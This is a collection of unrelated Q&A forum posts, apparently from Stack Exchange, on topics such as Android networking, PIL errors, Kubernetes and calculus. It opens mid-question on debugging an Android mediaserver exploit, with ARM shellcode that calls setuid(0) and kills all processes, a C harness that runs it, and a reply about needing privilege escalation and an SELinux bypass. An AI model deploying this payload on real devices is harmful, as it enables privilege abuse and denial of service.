lines 1 and 2 is a switch between arm mode and thumb mode. lines 3 to 6 is setuid(0) and lines 7 to 12 kill all running processes.
I debug the exploit with IDA and i found out that the shellscript executed until line 12 ( all the register have the expected values which are defined in the shellcode for example r7 is 37).
MY SPECIFIC PROBLEM IS : shellcode does not execute and has no impact on my device.
for a test case i write a program and run the shellcode as a function pointer like below:
    `char *SC = "\x01\x30\x8f\xe2"
               "\x13\xff\x2f\xe1"
               "\x24\x1b\x20\x1c"
               "\x17\x27\x01\xdf"
               "\x92\x1a\x10\x1c"
               "\x01\x38\x09\x21"
               "\x25\x27\x01\xdf"`

    `

        int main(void)
        {
                fprintf(stdout,"Length: %d\n",strlen(SC))
                (*(void(*)()) SC)()
         return 0

}`

i copied this binary to /system/bin and grant exactly the same permission as mediaserver has. i run the binary with su permission and it works! all the processes were killed.
MY SPECIFIC QUESTION IS : Why shellcode can not be executed in the context of mediaserver but it can be executed independently?
please help, i really stuck in this state! if the question is unclear, feedback me to explain it more.
thank in advance

A: I think you need to elevate the privilege of mediaserver(user media) for kill all process(then you need another vulnerability). There is another problem due to SELinux sandbox restrictions this means that the mediaserver process whe exploit libstagefright is protected by SELinux policy and the code execution takes place in a restrictive sandbox. In other word you should be find a way for SELinux bypass, in nccgroup presentation you can find more details.
See also this good paper


text:
Q: How many peers does an Indy Node connect to? I have a question about Indy Node. In the Bitcoin network, each node is connected to 8 peers. It can also be configured to allow for more connections. How is this done in Indy Node?
The Indy Rocket chat directed me here. I found that Bitcoin uses 8 peers by default. I searched for how Indy does it on the Indy Node and Indy SDK github page and documentation but did not manage to find it anywhere.

A: The short answer is that every node must connect to all other nodes in the consensus pool.
The Bitcoin network (the blockchain) is a permissionless network, meaning that anyone can set up a validator node that contributes to consensus using proof-of-work.
Indy networks are permissioned. The community of stewards running validator nodes have to approve additional nodes being added to the network. These validator nodes use a Byzantine Fault Tolerant protocol by which the primary updates the ledger and notifies the other nodes in consensus of the changes. If the other nodes suspect that the primary is not acting correctly, they can elect a new primary. This protocol is provably resilient against one third of the nodes being malicious.
Indy favors this approach because the cost of settling a transaction is much lower than with blockchain. The Indy protocol requires at least 4 nodes in consensus, and it operates well with 25 nodes in the validator pool before performance begins to drop.
In order to read from the network, a client only needs to contact one consensus node because each response contains a BLS signature that proves the response represents the value held by the ledger in consensus.
Useful resources for learning more:

*

*https://github.com/hyperledger/indy-plenum/wiki

*https://www.youtube.com/watch?v=WZin717AT_A&list=PLRp0viTDxBWGLdZk0aamtahB9cpJGV7ZF&index=14


text:
Q: 'numpy.ndarray' object has no attribute 'read' I am trying to use the variables declared in the functions to another function. But when I do so, I'm getting this kind of error:
Exception in Tkinter callback
Traceback (most recent call last):
File "C:\Users\HP\AppData\Local\Enthought\Canopy32\App\appdata\canopy-1.0.3.1262.win-x86\lib\lib-tk\Tkinter.py", line 1410, in __call__
return self.func(*args)
File "D:\6th sem\Major project\Code\frame.py", line 198, in result
im = Image.open(resizelist[val])
File "E:\Canopy\System\lib\site-packages\PIL\Image.py", line 1956, in open
prefix = fp.read(16)
AttributeError: 'numpy.ndarray' object has no attribute 'read'

My code is:
def messageWindow():
  win = Toplevel()
  path = 'C:\Users\HP\Desktop\dataset'
  COLUMNS = 12
  image_count = 0
  for infile in glob.glob(os.path.join(path, '*.jpg')):
    image_count += 1
    r, c = divmod(image_count, COLUMNS)
    im = Image.open(infile)
    resized = im.resize((100, 100), Image.ANTIALIAS)
    tkimage = ImageTk.PhotoImage(resized)
    myvar = Label(win, image=tkimage)
    myvar.image = tkimage
    myvar.grid(row=r, column=c)
  i=0
  cont_list = list()
  ene_list = list()
  homo_list = list()
  cor_list = list()
  dis_list = list()
  B_mean = list()
  G_mean = list()
  R_mean = list()
  piclist = list()
  graylist = list()
  resizelist = list()
  eq_graylist = list()

 for infile in glob.glob(os.path.join(path,'*.jpg')):
    imge = cv2.imread(infile)
    arr = array(imge)
    piclist.append(imge)

    g_img = cv2.imread(infile,0)
    gray_re_img = cv2.resize(g_img,(256,256))
    graylist.append(gray_re_img)

    equ = cv2.equalizeHist(gray_re_img)
    eq_graylist.append(equ)

    re_img = cv2.resize(imge,(256,256))
    resizelist.append(imge)
    i = i + 1

 for infiles in glob.glob(os.path.join(path,'*.jpg')):
    img = cv2.imread(infiles)
    blue, green, red = cv2.split(img)
    total = img.size
    B = sum(blue) / total
    G = sum(green) / total
    R = sum(red) / total
    B_mean.append(B)
    G_mean.append(G)
    R_mean.append(R)

    im = skimage.io.imread(infile, as_grey=True)
    im = skimage.img_as_ubyte(im)
    im /= 32
    g = skimage.feature.greycomatrix(im, [1], [0], levels=8, symmetric=False, normed=True)
    cont = skimage.feature.greycoprops(g, 'contrast')[0][0]
    cont_list.append(cont)
    ene = skimage.feature.greycoprops(g, 'energy')[0][0]
    ene_list.append(ene)
    homo = skimage.feature.greycoprops(g, 'homogeneity')[0][0]
    homo_list.append(homo)
    cor = skimage.feature.greycoprops(g, 'correlation')[0][0]
    cor_list.append(cor)
    dis = skimage.feature.greycoprops(g, 'dissimilarity')[0][0]
    dis_list.append(dis)

 feature_matrix_db = zip( B_mean , G_mean , R_mean, cont_list , ene_list , homo_list , cor_list, dis_list)
 blue2.set(B_mean)
 green2.set(G_mean)
 red2.set(R_mean)
 con2.set(cont_list)
 ene2.set(ene_list)
 homo2.set(homo_list)
 corr2.set(cor_list)
 diss2.set(dis_list)
 return(feature_matrix_db,resizelist)

def OPEN():
  path=tkFileDialog.askopenfilename(filetypes=[("Image File",'.jpg')])
  custName.set(path)
  im = Image.open(path)
  resized = im.resize((200, 200),Image.ANTIALIAS)
  tkimage = ImageTk.PhotoImage(resized)
  myvar=Label(root,image = tkimage)
  myvar.image = tkimage
  myvar.pack()
  myvar.place(x = 30, y = 100)
  graylist1 = list()
  resizelist1 = list()
  eq_graylist1 = list()
  cont_list1 = list()
  ene_list1 = list()
  homo_list1 = list()
  cor_list1 = list()
  B_mean1 = list()
  G_mean1 = list()
  R_mean1 = list()
  dis_list1 = list()

  imge = cv2.imread(path)
  arr = array(imge)
  g_img = cv2.imread(path,0)
  gray_re_img = cv2.resize(g_img,(256,256))
  graylist1.append(gray_re_img)

  equ = cv2.equalizeHist(gray_re_img)
  eq_graylist1.append(equ)

  re_img = cv2.resize(imge,(256,256))
  resizelist1.append(re_img)

  blue, green, red = cv2.split(re_img)
  total = re_img.size
  B = sum(blue) / total
  G = sum(green) / total
  R = sum(red) / total
  B_mean1.append(B)
  G_mean1.append(G)
  R_mean1.append(R)

  im = skimage.io.imread(path, as_grey=True)
  im = skimage.img_as_ubyte(im)
  im /= 32
  g = skimage.feature.greycomatrix(im, [1], [0], levels=8, symmetric=False, normed=True)
  cont = skimage.feature.greycoprops(g, 'contrast')[0][0]
  cont_list1.append(cont)
  ene = skimage.feature.greycoprops(g, 'energy')[0][0]
  ene_list1.append(ene)
  homo = skimage.feature.greycoprops(g, 'homogeneity')[0][0]
  homo_list1.append(homo)
  cor = skimage.feature.greycoprops(g, 'correlation')[0][0]
  cor_list1.append(cor)
  dis = skimage.feature.greycoprops(g, 'dissimilarity')[0][0]
  dis_list1.append(dis)

 feature_matrix_ip = zip( B_mean1 , G_mean1 , R_mean1, cont_list1 , ene_list1 , homo_list1 , cor_list1 , dis_list1)
 blue1.set(B_mean1)
 green1.set(G_mean1)
 red1.set(R_mean1)
 con1.set(cont_list1)
 ene1.set(ene_list1)
 homo1.set(homo_list1)
 corr1.set(cor_list1)
 diss1.set(dis_list1)
 return(feature_matrix_ip)

def result():
  COLUMNS = 12
  image_count = 0
  resultlist_key = []
  result_list = list()
  i = 0
  a_list = list()
  b_list = list()
  a_list.append(feature_matrix_ip)
  while i < 70:
     b_list.append(feature_matrix_db[i])
     dist = distance.euclidean(a_list,b_list[i])
     result_list.append(dist)
     resultlist_key = OrderedDict(sorted(enumerate(result_list),key=lambda x: x[0])).keys()
     i = i + 1

 res_lst_srt = {'values': result_list,'keys':resultlist_key}
 res_lst_srt['values'], res_lst_srt['keys'] = zip(*sorted(zip(res_lst_srt['values'], res_lst_srt['keys'])))
 key = res_lst_srt['keys']

 for i1,val in enumerate(key):
     if i1 < 4:
         image_count += 1
         r, c = divmod(image_count, COLUMNS)
         im = Image.open(resizelist[val]) # <---- This is where the error is coming
         tkimage = ImageTk.PhotoImage(resized)
         myvar = Label(win, image=tkimage)
         myvar.image = tkimage
         myvar.grid(row=r, column=c)

Even after return(feature_matrix_db, resizelist) its giving the same error. Is there any way to resolve this? Or do I need to change my code. Everything I have initialized. Every required header is being called/ imported.
Thanks in advance!

A: So from http://effbot.org/imagingbook/image.htm

Image.open(file) ⇒ image
Image.open(file, mode) ⇒ image
Opens and identifies the given image file. This is a lazy operation;
  the function reads the file header, but the actual image data is not
  read from the file until you try to process the data (call the load
  method to force loading). If the mode argument is given, it must be
  "r".
You can use either a string (representing the filename) or a file
  object as the file argument. In the latter case, the file object must
  implement read, seek, and tell methods, and be opened in binary mode.
from PIL import Image im = Image.open("lenna.jpg") from PIL import
  image from StringIO import StringIO
read data from string im = Image.open(StringIO(data))

As the documentation says, the argument passed to Image.open must implement read,seek and tell methods. You are passing a numpy array generated by OpenCv, when it is expecting a filename, StringIO instance or file object.
I think you can replace the offending Image.open call with Image.fromarray and this will take the numpy array as input. i.e.:
im = Image.fromarray(resizelist[val])

A: I was having a similar problem. The error in my code was from the line:
Image.Open(imlist[0]).size

And then all I did was this:
Image.fromarray(imlist[0]).size

And now its all working


text:
Q: Plugin and themes are adding the same stylesheets
/vendors/font-awesome/font-awesome.min.css? ver=2.9.10
/yith-woocommerce-wishlist/assets/css/font-awesome.min.css? ver=4.7.0
/theme/css/font-awesome.min.css

**this csss are from different plugins and main theme.
and error is :
The following resources have identical contents, but are served from different URLs. Serve these resources from a consistent URL to save 2 request(s) and 60.5KiB.**
how can i combine them as one?
autoptimize wp plugin is not compatible with my website.
https://www.tarhdokan.com/

A: You can use wp_dequeue_style() to remove CSS a plugin is adding.
You can use it to dequeue the 2 stylesheets coming from your plugin and just keep the one in your theme.
However, they appear to be different versions of Font Awesome so you may run into some issues there, I'm not sure I don't use Font Awesome.
Here is an example of wp_dequeue_style() which you can edit and add to your theme's functions.php.
function wpse_remove_styles() {
   wp_dequeue_style('dokan-fontawesome');
}
add_action( 'wp_print_styles', 'wpse_remove_styles', 100 );

Note: You will need the handle for the stylesheet, which you can usually get by viewing the source, finding the stylesheet ID and removing -css.  For example, in your case...
<link rel='stylesheet' id='dokan-fontawesome-css'  href='.../vendors/font-awesome/font-awesome.min.css?ver=2.9.10' type='text/css' media='all' />
The handle should be dokan-fontawesome.


text:
Q: INSERT INTO within an Oracle stored procedure In an Oracle stored procedure, can you have an INSERT INTO immediately after opening a cursor?
I get this message:
    Error(9,4): PLS-00103: Encountered the symbol "INSERT" when expecting one of
the following:     ( - + case mod new not null select with <an identifier>
<a double-quoted delimited-identifier> <a bind variable>
 continue avg count current exists max min prior sql stddev    sum variance execute forall merge time timestamp interval    date
<a string literal with character set specification>
<a number> <a single-quoted SQL string> pipe
<an alternatively-quoted string literal with character set specification>

On the 3rd line of the following:
   BEGIN

   OPEN GRSREFVALUES FOR

   --Select REFERENCEVALUES of Unprocessed Variations

INSERT INTO l_data (value)

   SELECT REFERENCEVALUE


text:
Q: Outlook 2007 won't open. Can't find scanpst.exe I have Outlook 2007 and "Cannot Start Microsoft Outlook....Error have been detected....".  I have searched everywhere for "Scanpst.exe" to run the Inbox Repair Tool, but it doesn't seem to exist on my computer. Is this possible?
Should I uninstall, and presumably lose everything?

A: For Outlook 2007, ScanPST.exe should be located in C:\Program Files\Microsoft Office\Office12 (or C:\Program Files (x86)\Microsoft Office\Office12 on a 64-bit cmoputer).
If it's not there, you may want to do a Repair install of Office/Outlook.
More info:

*

*How to use Inbox Repair tool to repair pst file in Outlook

*How to install the individual 2007 Office features or to repair the installed 2007 Office programs

A: you may want to scan your HDD for errors open command.

echo Y | Chkdsk /f

Will fix all your errors automatically after restart. use "/r" instead if you want to scan for bad sectors. (may take long time)

A: If its just a bad profile load,  close outlook and goto appdata/local/microsoft/outlook and rename all of the OST files. This will rebuild the local cache.
You can also try launching outlook with the /resetnavpane switch.
These two things resolve most of the outlook issues I come across.
If its a bad PST,  then run the repair on office like other have suggested. You could also remove the PST from the profile by going to mail im control panel,  data files and remove the PST from there.

A: In Outlook 2007, ScanPST.exe is located at predefine path i.e. mentioned below:
32-bit Windows  C:\Program Files\Microsoft Office\Office12
64-bit Windows  C:\Program Files (x86)\Microsoft Office\Office12
I hope you would be able to find required exe.


text:
Q: what does fix mean in VMA operation in virtual memory managment I'm reading "Understanding the Linux Virtual Memory Manager" by Gorman.
In Chapter 4 about Process Address Space, when VMA operations are introduced, for example create, lock and unlock, the text mentions "fix up region". What does "fix up" means specifically? Does it apply in the same way to different VMA operations?
Detailed quote:

Linux can lock pages from an address range into memory via the system call mlock() which is implemented by sys_mlock() whose call graph is shown in Figure 4.10. At a high level, the function is simple; it creates a VMA for the address range to be locked, sets the VM_LOCKED flag on it and forces all the pages to be present with make_pages_present(). A second system call mlockall() which maps to sys_mlockall() is also provided which is a simple extension to do the same work as sys_mlock() except for every VMA on the calling process. Both functions rely on the core function do_mlock() to perform the real work of finding the affected VMAs and deciding what function is needed to fix up the regions as described later.

The system calls munlock() and munlockall() provide the corollary for the locking functions and map to sys_munlock() and sys_munlockall() respectively. The functions are much simpler than the locking functions as they do not have to make numerous checks. They both rely on the same do_mmap() function to fix up the regions.

If an old area exists where the mapping is to take place, fix it up so that it is suitable for the new mapping;

The kernel version used in the book is Linux 2.4.22.

A: In this context, "fixing up" means merging or splitting the VMAs as appropriate so that they match the regions being manipulated:

*

*if a region to be locked (or unlocked) is smaller than the VMA containing it, the VMA needs to be split;

*if consecutive VMAs can be merged, they should be.

The documentation you're reading is old, but this still applies to current kernels. Fixing up is handled by mlock_fixup, which calls vma_merge and split_vma as appropriate. See also the documentation describing the unevictable LRU infrastructure.


text:
Q: Pass data via jQuery ajax from several drop down Everybody: I need to send data from 20 drop downs to a PHP file. How can I make some loop over them to see values to all of them? Thanks you.
P.S.: In PHP I know how to walk through them to get the data...

A: If you need to create an array of values you should definitely check the serializeArray method.  You will find an excellent usage example on the same page is you scroll down a little bit.

A: Let us take this HTML as a sample -
<div id="vanyov">
  <select>
    <option value="Beer"></option>
    <option value="Wine"></option>
    <option value="Water"></option>
    ...
  </select>
  <select>
    <option value="Steak"></option>
    <option value="Pizza"></option>
    ...
  </select>
  ...
</div>
<!-- I hope I put the right choices in here.
everyone cool with Beer and Pizza right? ;) -->

You could use jQuery to return all the select elements you need and then parse though all of them adding them to a JSON object.
var valuesJSON = {};
$.each($("#vanyov select"),function(index,elem){
  valuesJSON[index] = $(elem).val();
});

This would add the values of all the <select> elements with in the #vanyov element.
But what's going on here?  Lets take a look -

*

*var valuesJSON = {} - This is some shorthand code to create a new empty object named valuesJSON.

*$.each - This is a jQuery function that will loop though all the elements you give it.  Arrays and Objects and especially groups of elements that jQuery selectors return.  There is also a callback function that is passed each of the items that $.each found.

*$("#vanyov select") - Here we are telling jQuery to give us all of the <select> elements that are descendants of the #vanyov element.

*valuesJSON[index] - This is where we are adding a new item to the JSON.  We use the index parameter because they are right there! Easy! The $.each function provides them.

*$(elem).val() - We wrap the elem parameter with $() to convert it into a jQuery object and then we use the val() function to extract the value of the <option> element within the dropdown that was selected.

Then send out your order with an Ajax call perhaps -
$.post('/ajax/lyubomir',valuesJSON,function(response){
  // Return values here
},"json");

I hope they come soon - After that, I'm starving...


text:
Q: How to give permission to certain users to see a view based on Parse user type property? assume that i have two types of users: students and instructors. How can I be able to give permission only to instructors to go to some different views than students, for example
ObjectID    UserName   Password    Type
-------     --------   --------   ------
8uJ03j7     user#1      ***        student
2835ruJ     user#2      ***        instructor
2835JhL     user#3      ***        student

Let's say we have an app for school, students can log in and see just their grades, whereas instructor can enter data and modified.
i was asking this question because as far as i know you cannot have two Uses Log in class in Parse.com that is why i wanted to make distinguish between two different types of users.
thanks

A: I interpret your question differently than MannyFle and ismailgulek. My interpretation: Based on what type of user is logging in, you want the app to automatically direct them to different views for instructors and students. No buttons to hide etc.
To achieve this, you can do the following in your AppDelegate:
- (void)logInViewController:(PFLogInViewController *)logInController didLogInUser:(PFUser *)user {
NSString *userType = user[@"type"];
if ([userType isEqualToString:@"instructor"]) {
    self.window.rootViewController = instructorViewController;
} else {
    self.window.rootViewController = studentViewController;
}

[self.window makeKeyAndVisible];

I'm sure you've already implemented didLogInUser in your appdelegate. Do the check for usertype there. There is no need to use a singleton, as [PFUser currentUser] will be available to you anywhere in your app.
You will of course need to initialize the right instructor/studentviewcontrollers inside the if statement, before setting it as rootViewController.

A: Do not try to prevent any user from logging in. I think it is a very bad way of controlling anything. You can extend PFUser class and add an extra field like type and do any control after the user login.

A: What you can do here is hide the button that pushes the view that only instructors can see, if the user is logged in is of type student.
In the view that has the button that pushes the view that only instructors can use do this:
In the .h file create a property for the button that pushes the view like so:
@property (nonatomic,strong) UIButton *buttonThatPushesInstructorView;

In the .m file:
In the viewWillAppear method of the view do the following check:
  if ([[[PFUser currentUser]objectForKey:@"type"]isEqualToString:@"Instructor"]) {
        _buttonThatPushesInstructorView.hidden=NO;
    }else{

        _buttonThatPushesInstructorView.hidden=YES;
    }

This way, when the view loads, the button that pushes the instructor view will only be accessible to the users of type "Instructor".
Hope it helps!


text:
Q: Kubernetes (docker-desktop) with multiple LoadBalancer services Is it true that I cannot have two LoadBalancer services on a docker-desktop cluster (osx), because they would both use localhost (and all ports are forwarded)?
I created an example and the latter service is never assigned an external IP address but stays in state pending. However, the former is accessible on localhost.
> kubectl get all
NAME                                       READY   STATUS    RESTARTS   AGE
pod/whoami-deployment-9f9c86c4f-l5lkj      1/1     Running   0          28s
pod/whoareyou-deployment-b896ddb9c-lncdm   1/1     Running   0          27s
pod/whoareyou-deployment-b896ddb9c-s72sc   1/1     Running   0          27s

NAME                        TYPE           CLUSTER-IP      EXTERNAL-IP   PORT(S)        AGE
service/kubernetes          ClusterIP      10.96.0.1       <none>        443/TCP        95s
service/whoami-service      LoadBalancer   10.97.171.139   localhost     80:30024/TCP   27s
service/whoareyou-service   LoadBalancer   10.97.171.204   <pending>     80:32083/TCP   27s

NAME                                   READY   UP-TO-DATE   AVAILABLE   AGE
deployment.apps/whoami-deployment      1/1     1            1           28s
deployment.apps/whoareyou-deployment   2/2     2            2           27s

NAME                                             DESIRED   CURRENT   READY   AGE
replicaset.apps/whoami-deployment-9f9c86c4f      1         1         1       28s
replicaset.apps/whoareyou-deployment-b896ddb9c   2         2         2       27s

Detailed state fo whoareyou-service:
kubectl describe service whoareyou-service
Name:                     whoareyou-service
Namespace:                default
Labels:                   <none>
Annotations:              kubectl.kubernetes.io/last-applied-configuration:
                            {"apiVersion":"v1","kind":"Service","metadata":{"annotations":{},"name":"whoareyou-service","namespace":"default"},"spec":{"ports":[{"name...
Selector:                 app=whoareyou
Type:                     LoadBalancer
IP:                       10.106.5.8
Port:                     http  80/TCP
TargetPort:               80/TCP
NodePort:                 http  30333/TCP
Endpoints:                10.1.0.209:80,10.1.0.210:80
Session Affinity:         None
External Traffic Policy:  Cluster
Events:                   <none>

A: I decided to copy my comments, as they partially explain the problem, and make a Community Wiki answer out of them so it is more clearly seen and available for possible further edits by the Community:
It works probably exactly the same way as in Minikube. As docker-desktop is unable to provision real LoadBalancer it can still "simulate" creating Service of such type using NodePort (this can easily be seen from port range it uses). I'm pretty sure you cannot use same IP address as the ExternalIP of the LoadBalancer Service and if you create one more Service of such type, your docker-desktop has no other choice than to use your localhost one more time. As it is already used by one Service it cannot be used by another one and that's why it remains in a pending state.
Note that if you create real LoadBalancer in a cloud environment, each time new IP is provisioned and there is no situation that next LoadBalancer you create gets the same IP that is already used by the existing one. Apparently here it cannot use any other IP then one of localhost, and this one is already in use. Anyway I would recommend you to simply use NodePort if you want to expose your Deployment to the external world.

A: Think about using Ingress controller instead.
So basically, it's 3 steps after installing docker-desktop :

*

*Wilcard Certificate locally

*SSL certificate For local env

*Install Ingress Controller

Detailed here: https://github.com/kubernetes-tn/guideline-kubernetes-enterprise/blob/master/general/desktop-env-setup.md

A: I came across this question while looking to set up a lightweight local environment with minimal dependencies.
I found that two LoadBalancer work on localhost when using different port numbers.
---
apiVersion: v1
kind: Service
metadata:
  name: webapp-one-lb
spec:
  ports:
    - name: 8081-tcp
      port: 8081
      protocol: TCP
      targetPort: 8080
  selector:
    name: webapp-one
  type: LoadBalancer
status:
  loadBalancer: {}

---
apiVersion: v1
kind: Service
metadata:
  name: webapp-two-lb
spec:
  ports:
    - name: 8082-tcp
      port: 8082
      protocol: TCP
      targetPort: 8080
  selector:
    name: webapp-two
  type: LoadBalancer
status:
  loadBalancer: {}

As others have said, Ingress is more flexible and allows for sub-domain and path based routing without having to worry about port conflicts, but it comes with an additional learning curve.

A: Snapshot of All Available Services
Well, I would like to add something to Mario's comment and subsequent answer. I am using Docker Desktop Kubernetes. In my case, the loadbalancer's external IP is not in pending state, rather same localhost got assigned with a different port. Nonetheless, I also tried using MetalLB, but so far couldn't change the default behavior.


text:
Q: Reboot and select proper boot device? So i was working on a project in Indesign when I suddenly encountered some problem with some graphics in indesign. After a few seconds, the computer got a message ( The Blue Screen of Death ) where the stop code was: System Service Exception.

The computer was supposed to restart but instead it did not restart and got a black screen message which read Reboot and select proper boot device.

I looked up the internet and saw many others facing the same problem as well. However their problem were solved by changing the boot options or loading default settings.
I tried changing all booting options.
There were two booting options:

Boot Option No 1: SATA Firm s11
Boot Option No 2: St200dm006.

I tried both but still the computer could not be booted. I am guessing SATA firm s11 is my ssd and st200 is my HDD. My operating system was installed in the SSD.
Can you tell me whether my files in the local disk D and E would be affected or not? Since I have a lot of important career files in the Hard Disk drive

A: You should be able to select your boot device default in the BIOS settings. If changing that doesn't work, you could load a separate OS onto a USB or disk and put it in and boot from that. It could be that your copy of Windows is corrupted now. There are several Softwares out there that can fix that, but be careful, as a lot of them are scams.
Hopefully, if you manage to boot to another OS on a USB, if it has a file explorer, you'll be able to look through the files on the SSD with Windows on it, and you can check if any files are missing. (Though that would take a while)
Hopefully, if it's just a scrambled operating system, your files should be fine. As John said in a comment, it could also be a hardware issue with the disk.
Hope this helps!


text:
Q: Requirements for (not-quite-) constexpr template arguments Both GCC (5.3.0) and Clang (3.8.0) agree that this is valid code:
constexpr std::integral_constant<size_t, 0> n{};
std::get<n>(std::make_tuple(123));

However, they disagree on this:
std::integral_constant<size_t, 0> n;
std::get<n>(std::make_tuple(123));

Clang is ok with it, but GCC reports "the value of 'n' is not usable in a constant expression" / "'n' was not declared 'constexpr'".
Whose behaviour matches the standard?

A: Clang is right, although it ultimately depends on your library implementation. The standard does not per se disallow calling a constexpr function for a non-const(expr) object in constant expressions; only usage of that object's members would be a problem (see [expr.const]/(2.7.3)). Since the conversion operator most certainly simply returns 0, it's probably a GCC bug (also suggestive when considering the error message).


text:
Q: Anyone can integrate $e^{-\frac{x^2}{3}}$ by hands? I just used wolfram integral calculator and the result is weird, there is something called error function.
$$
\int_{-\infty}^\infty e^{-\frac{x^2}{3}}\,\mathrm dx
$$
Hint says that change of variable might be helpful, but can't think of what to change and substitute.
Anyone can do this by hands?

A: Let $$I=\int_{-\infty}^{\infty}\exp\left(-\frac{x^2}{3}\right)dx$$.
$$I^2=\int_{-\infty}^{\infty}\exp\left(-\frac{x^2}{3}\right)dx\int_{-\infty}^{\infty}\exp\left(-\frac{y^2}{3}\right)dy$$
$$=\int_{-\infty}^{\infty}\int_{-\infty}^{\infty}\exp\left(-\frac{x^2+y^2}{3}\right)dxdy$$
$$=\int_{0}^{2\pi}\int_{0}^{\infty}\exp\left(-\frac{r^2}{3}\right)rdrd\theta$$
$$=2\pi\frac{3}{2}\int_0^{\infty}\exp\left(-\frac{r^2}{3}\right)d\left(\frac{r^2}{3}\right)$$
$$=3\pi$$
$$I=\sqrt{3\pi}$$

A: hint: what's the density of a standard (normal) distribution? take $y := cx$ with appropriately chosen $c$ (and use the fact that integral of a density is $1$)

A: I believe that the problem assumes that you already know that
$$\int_{-\infty}^{\infty} e^{-x^2}dx = \sqrt{\pi}$$
(or possibly a small variation of this) and your mission is to evaluate
$$\int_{-\infty}^{\infty} e^{-x^2/3}dx$$
by using a substitution to express a definite integral involving $e^{-x^2/3}$ into one involving $e^{-x^2}$.  Let's try.
First, note that
$$\int_{-\infty}^{\infty} e^{-x^2/3}dx = 2\lim_{b\rightarrow\infty} \int_0^b e^{-x^2/3}dx.$$
Thus, we'll focus on
$$\int_0^b e^{-x^2/3}dx.$$
Let us make the substitution $u=x/\sqrt{3}$.  Then $dx=\sqrt{3}du$ so
$$\int_0^b e^{-x^2/3}dx = \int_0^b e^{-(x/\sqrt{3})^2}dx = \sqrt{3}\int_0^{b/\sqrt{3}} e^{-u^2} du.$$
Taking a limit as $b\rightarrow\infty$, we get
$$\int_0^{\infty} e^{-x^2/3}dx = \sqrt{3}\int_0^{\infty} e^{-u^2} du = \frac{1}{2}\sqrt{3}\sqrt{\pi}.$$
The answer to your integral is twice this.
A few comments

*

*This is one of the first examples that most people see of a definite integral that can be computed in closed form without ever finding a closed form expression for the corresponding indefinite integral.

*The fact that
$$\int_{-\infty}^{\infty} e^{-x^2}dx = \sqrt{\pi}$$
can be proved directly using the technique shown in Kyson's answer.

*An alternative formulation of the integral (equivalent by the same substitution technique is
$$\frac{1}{\sqrt{2\pi}}\int_{-\infty}^{\infty} e^{-x^2/2}dx = 1.$$

*The previous integral is known as the Gaussian normal and is of tremendous importance in statistics.


text:
Q: Connect Multiple Device using NsdManager I have working on Android and I Need little bit Socket Programing in My Application.I want to Create my own Network Using NsdManager.I am Succefully Register my Service in network and Also Done Connection with Other Device.I have Successfully Transfer Data Between to Devices.
Problem

*

*Everthing is working Fine Also transfer message Between Two Devices but problem occur While I am Connect more than two Device.

Requirement

*

*I Want to Connect More Than Two Device and Share Data in All Connected Device.

Brief Description of My Code
Here I Have Two Class ChatConnection and NsdHalper.
ChatConnection is just for To Transfer Data between two Device and NsdHalper is provice Utility of NsdManger.
First I Register My Service in Network.
public void registerService(int port) {
    NsdServiceInfo serviceInfo  = new NsdServiceInfo();
    serviceInfo.setPort(port);
    serviceInfo.setServiceName(mServiceName);
    serviceInfo.setServiceType(SERVICE_TYPE);

    mNsdManager.registerService(
            serviceInfo, NsdManager.PROTOCOL_DNS_SD, mRegistrationListener);

}

than Discover my Service
 public void discoverServices() {
    mNsdManager.discoverServices(
            SERVICE_TYPE, NsdManager.PROTOCOL_DNS_SD, mDiscoveryListener);
}

and I am Making One Custome Adapter For Listing All Available Device in my network.
  class DeviceListAdpater extends ArrayAdapter<NsdServiceInfo> {

    private List<NsdServiceInfo> items;
    private Context context;

    public DeviceListAdpater(Context context,
                             List<NsdServiceInfo> objects) {
        super(context, 0, 0, objects);
        this.context = context;
        items = objects;

    }

    @Override
    public View getView(int position, View convertView, ViewGroup parent) {
        View v = convertView;
        if (v == null) {
            LayoutInflater vi = (LayoutInflater) context.getSystemService(
                    Context.LAYOUT_INFLATER_SERVICE);
            v = vi.inflate(R.layout.row_device_list, parent, false);

        }
        NsdServiceInfo device = items.get(position);
        if (device != null) {
            TextView top = (TextView) v.findViewById(R.id.txt_devicename);

            if (top != null) {
                top.setText(device.getServiceName());
            }

        }

        return v;

    }
}

and i have Also Done Following For To Connect Properly
public void initializeDiscoveryListener() {
    mDiscoveryListener = new NsdManager.DiscoveryListener() {

        @Override
        public void onDiscoveryStarted(String regType) {
            Log.d(TAG, "Service discovery started");
        }

        @Override
        public void onServiceFound(NsdServiceInfo service) {
            Log.d(TAG, "Service discovery success" + service);
            if (!service.getServiceType().equals(SERVICE_TYPE)) {
                Log.d(TAG, "Unknown Service Type: " + service.getServiceType());
            } else if (service.getServiceName().equals(mServiceName)) {
                Log.d(TAG, "Same machine: " + mServiceName);
            } else //if (service.getServiceName().contains(mServiceName))
            {
                getCallback().DeviceUpdate(service);

            }
        }

        @Override
        public void onServiceLost(NsdServiceInfo service) {
            Log.e(TAG, "service lost" + service);
            getCallback().ConnectionDone(service,false);
            if (mService == service) {
                mService = null;
            }
        }

        @Override
        public void onDiscoveryStopped(String serviceType) {
            Log.i(TAG, "Discovery stopped: " + serviceType);
        }

        @Override
        public void onStartDiscoveryFailed(String serviceType, int errorCode) {
            Log.e(TAG, "Discovery failed: Error code:" + errorCode);
            mNsdManager.stopServiceDiscovery(this);
        }

        @Override
        public void onStopDiscoveryFailed(String serviceType, int errorCode) {
            Log.e(TAG, "Discovery failed: Error code:" + errorCode);
            mNsdManager.stopServiceDiscovery(this);
        }
    };
}

public void initializeResolveListener() {
    mResolveListener = new NsdManager.ResolveListener() {

        @Override
        public void onResolveFailed(NsdServiceInfo serviceInfo, int errorCode) {
            Log.e(TAG, "Resolve failed" + errorCode);
            getCallback().ConnectionDone(serviceInfo,false);
        }

        @Override
        public void onServiceResolved(NsdServiceInfo serviceInfo) {
            Log.e(TAG, "Resolve Succeeded. " + serviceInfo);

            if (serviceInfo.getServiceName().equals(mServiceName)) {
                Log.d(TAG, "Same IP.");
                return;
            }
            mService = serviceInfo;
            getCallback().ConnectionDone(serviceInfo,true);
        }
    };
}

public void initializeRegistrationListener() {
    mRegistrationListener = new NsdManager.RegistrationListener() {

        @Override
        public void onServiceRegistered(NsdServiceInfo NsdServiceInfo) {
            mServiceName = NsdServiceInfo.getServiceName();
            discoverServices();

        }

        @Override
        public void onRegistrationFailed(NsdServiceInfo arg0, int arg1) {
        }

        @Override
        public void onServiceUnregistered(NsdServiceInfo arg0) {
        }

        @Override
        public void onUnregistrationFailed(NsdServiceInfo serviceInfo, int errorCode) {
        }

    };
}

